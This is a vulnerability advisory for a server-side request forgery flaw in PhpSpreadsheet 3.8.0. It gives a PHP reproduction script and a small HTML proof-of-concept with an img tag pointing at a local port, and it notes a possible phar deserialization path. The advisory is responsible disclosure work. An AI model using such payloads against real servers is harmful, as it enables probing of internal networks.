PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-918: Server-Side Request Forgery (SSRF) CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) Description: SSRF occurs when a processed HTML document is read and displayed in the browser Impact: Server-Side Request Forgery Vulnerable component: the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method Exploitation conditions: getting a string from the user that is passed to the HTML reader Mitigation: improved processing of the $path variable of the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class is needed Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Server-Side Request Forgery (SSRF) (in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class) in Phpspreadsheet. The latest version (3.8.0) of the phpoffice/phpspreadsheet library was installed. Below are the details of the installation:

*Listing 1. Installing the phpoffice/phpspreadsheet library*

$ composer require phpoffice/phpspreadsheet --prefer-source

The code that processes the HTML string with further rendering and displaying the result in the browser. *Listing 2. Executable file index.php using the PhpSpreadsheet library*

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Html';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  


$inputFileName = './doc/file.html';
$spreadsheet = $reader->load($inputFileName); 

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

Also, the ./doc/file.html has the following content: the img tag with the src attribute, which contains the value http:// 127.0.0.1:1337

*Listing 3. The ./doc/file.html file*

<table>
    <tr>
        <img src="http://127.0.0.1:1337">
    </tr>
</table>

The vulnerability lies in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class.

Figure 1. The PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method.

!fig1

Figure 2 below demonstrates the SSRF vulnerability exploitation.

!fig2

Figure 2. Demonstration of the SSRF vulnerability exploitation

Also, there is code on line 154 that could potentially be used by an attacker to perform unsafe deserialization via the phar archive and the file_exists method.

Figure 3. Opportunity to perform phar deserialization !fig3

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Please, assign all credits to: Aleksey Solovev (Positive Technologies)

Credit

Aleksey Solovev (Positive Technologies)